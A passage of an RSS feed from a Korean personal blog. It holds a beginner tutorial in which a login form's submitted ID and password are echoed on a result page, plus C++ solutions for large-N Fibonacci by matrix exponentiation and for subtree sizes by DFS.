&lt;pre id=&quot;code_1788923755753&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;html
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;로그인 페이지&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h2&amp;gt;로그인&amp;lt;/h2&amp;gt;

    &amp;lt;form action=&quot;/login&quot; method=&quot;post&quot;&amp;gt;
        &amp;lt;p&amp;gt;아이디: &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; required&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;비밀번호: &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; required&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;로그인 하기&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    
    &amp;lt;br&amp;gt;
    &amp;lt;a href=&quot;/&quot;&amp;gt;홈으로 돌아가기&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 값을 html로 보내게 되고 그값을 POST한다. 그러면 POST를 하고 result.html을 호출 하고&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1788923991244&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;html
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;결과 페이지&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;전송 완료!&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;입력하신 아이디: &amp;lt;strong&amp;gt;{{ user_id }}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;입력하신 비밀번호: &amp;lt;strong&amp;gt;{{ user_pw }}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;hr&amp;gt;
    &amp;lt;a href=&quot;/login&quot;&amp;gt;다시 로그인하기&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;/&quot;&amp;gt;홈으로&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lY5su/dJMcahTdO4s/zZ1h9f2K3vmW2jcStZPvEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lY5su/dJMcahTdO4s/zZ1h9f2K3vmW2jcStZPvEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lY5su/dJMcahTdO4s/zZ1h9f2K3vmW2jcStZPvEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlY5su%2FdJMcahTdO4s%2FzZ1h9f2K3vmW2jcStZPvEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;409&quot; height=&quot;370&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 내가 쓴 아이디와 비밀번호를 반환 하여 보여주는 것을 알수 있다.&amp;nbsp;&lt;/p&gt;</description>
      <category>웹</category>
      <category>HTML</category>
      <category>Python</category>
      <category>백엔드</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/25</guid>
      <comments>https://logmap.tistory.com/25#entry25comment</comments>
      <pubDate>Wed, 9 Sep 2026 12:20:27 +0900</pubDate>
    </item>
    <item>
      <title>웹</title>
      <link>https://logmap.tistory.com/24</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://app.notion.com/p/Html-1-3aae8d66cb5b808fbb5dece815ddaea9?source=copy_link&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://app.notion.com/p/Html-1-3aae8d66cb5b808fbb5dece815ddaea9?source=copy_link&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/24</guid>
      <comments>https://logmap.tistory.com/24#entry24comment</comments>
      <pubDate>Tue, 28 Jul 2026 00:30:29 +0900</pubDate>
    </item>
    <item>
      <title>3043.큰 N에 대한 피보나치 수</title>
      <link>https://logmap.tistory.com/23</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;N번째 피보나치 수 FNFN​(F0=0F0​=0, F1=1F1​=1 , Fn=Fn&amp;minus;1+Fn&amp;minus;2Fn​=Fn&amp;minus;1​+Fn&amp;minus;2​) 을 모듈로MM으로 구한다.&lt;br /&gt;NN이 매우 클 수 있다. &lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1782100705244&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;
using namespace std;
using ll = long long;

ll m; 

struct Matrix {
    ll mat[2][2];
    Matrix() {
        mat[0][0] = mat[0][1] = mat[1][0] = mat[1][1] = 0;
    }
};

Matrix mul(Matrix a, Matrix b) {
    Matrix ans;
    for (int i = 0; i &amp;lt; 2; i++) {
        for (int j = 0; j &amp;lt; 2; j++) {
            for (int k = 0; k &amp;lt; 2; k++) {
                ans.mat[i][j] = (ans.mat[i][j] + a.mat[i][k] * b.mat[k][j]) % m;
            }
        }
    }
    return ans;
}

Matrix power(Matrix a, ll n) {
    Matrix ans;
    ans.mat[0][0] = 1 % m; ans.mat[1][1] = 1 % m; 

    if (n == 0) return ans;
    if (n == 1) {
        a.mat[0][0] %= m; a.mat[0][1] %= m;
        a.mat[1][0] %= m; a.mat[1][1] %= m;
        return a;
    }

    Matrix half = power(a, n / 2);

    if (n % 2 == 0) {
        return mul(half, half);
    } else {
        return mul(mul(half, half), a);
    }
}

int main() {
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);
    
    ll n;
    if (!(cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m)) return 0; 
    
    Matrix T;
    T.mat[0][0] = 1; T.mat[0][1] = 1;
    T.mat[1][0] = 1; T.mat[1][1] = 0;

    cout &amp;lt;&amp;lt; power(T, n).mat[0][1] % m;

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2x2 행렬을 다루기 위해 구조체 선언 후 2행 2열짜리 방이 채워진 배열 선언 두 행렬을 곱해주는 함수를 만든뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;n번 다 곱하지 말고, 지수를 딱 절반으로 나눠서 한 번만 구한다. 만약 지수가 짝수 half끼리 곱해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 지수가 홀수 원래 행렬 a를 한 번 더 곱해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 main 함수에서 아까 위에서 말한 피보나치 전용 기본 행렬 T를 조립&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;T를 n번 거듭제곱한 다음, 0행 1열에 들어있는 피보나치 수를 가져와서 출력&lt;/p&gt;</description>
      <category>알고리즘</category>
      <category>비트리</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/23</guid>
      <comments>https://logmap.tistory.com/23#entry23comment</comments>
      <pubDate>Mon, 22 Jun 2026 13:04:54 +0900</pubDate>
    </item>
    <item>
      <title>서브트리 크기</title>
      <link>https://logmap.tistory.com/22</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;루트가 있는 트리에서 각 노드의 서브트리 크기(자신 포함)를 구한다.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1781613182823&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;

using namespace std;

vector&amp;lt;int&amp;gt; tree[100005];
bool visited[100005];
int sub_tree_size[100005];

int dfs(int cur) {
    visited[cur] = true;
    sub_tree_size[cur] = 1; 

    for (auto nxt : tree[cur]) {
        if (visited[nxt]) {
            continue;
        }
        sub_tree_size[cur] += dfs(nxt);
    }

    return sub_tree_size[cur];
}

int main() {
    ios_base::sync_with_stdio(false);                       
    cin.tie(NULL);

    int n;
    cin &amp;gt;&amp;gt; n;

    for (int i = 2; i &amp;lt;= n; i++) {
        int parent;
        cin &amp;gt;&amp;gt; parent;
        
        tree[parent].push_back(i);
        tree[i].push_back(parent);
    }

    dfs(1);

    for (int i = 1; i &amp;lt;= n; i++) {
        cout &amp;lt;&amp;lt; sub_tree_size[i] &amp;lt;&amp;lt; &quot; &quot;;
    }
    cout &amp;lt;&amp;lt; &quot;\n&quot;;

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brrsc9/dJMcahLy5uT/VBzxFl4dX2Ku8jwR3IH0SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brrsc9/dJMcahLy5uT/VBzxFl4dX2Ku8jwR3IH0SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brrsc9/dJMcahLy5uT/VBzxFl4dX2Ku8jwR3IH0SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrrsc9%2FdJMcahLy5uT%2FVBzxFl4dX2Ku8jwR3IH0SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;496&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇개의 노드를 입력 받을지 정한뒤 맨처음 1번 노드를 제외 한 노드들이 연결된 부모트리를 vector tree에 값을 초기화 한뒤&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dfs를 이용하여 검사한다 첫번째 자기 자신은 확인을 한 상태 이므로 검사를 한지 확인 하기 위해 bool형의 배열을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 for문을 돌며 트리를 탐색 하는데 만약에 검사를 한것이면 continue를 하여 반복문을 나간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검사를 하지 않은 것 이라면 sub_tree_size에 값을 증가 시킨다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그후 dfs를 한번더 하여 값을 역으로 바꾼뒤 for문을 이용하여 출력 한다.&lt;/p&gt;</description>
      <category>알고리즘</category>
      <category>비트리</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/22</guid>
      <comments>https://logmap.tistory.com/22#entry22comment</comments>
      <pubDate>Wed, 17 Jun 2026 08:06:22 +0900</pubDate>
    </item>
  </channel>
</rss>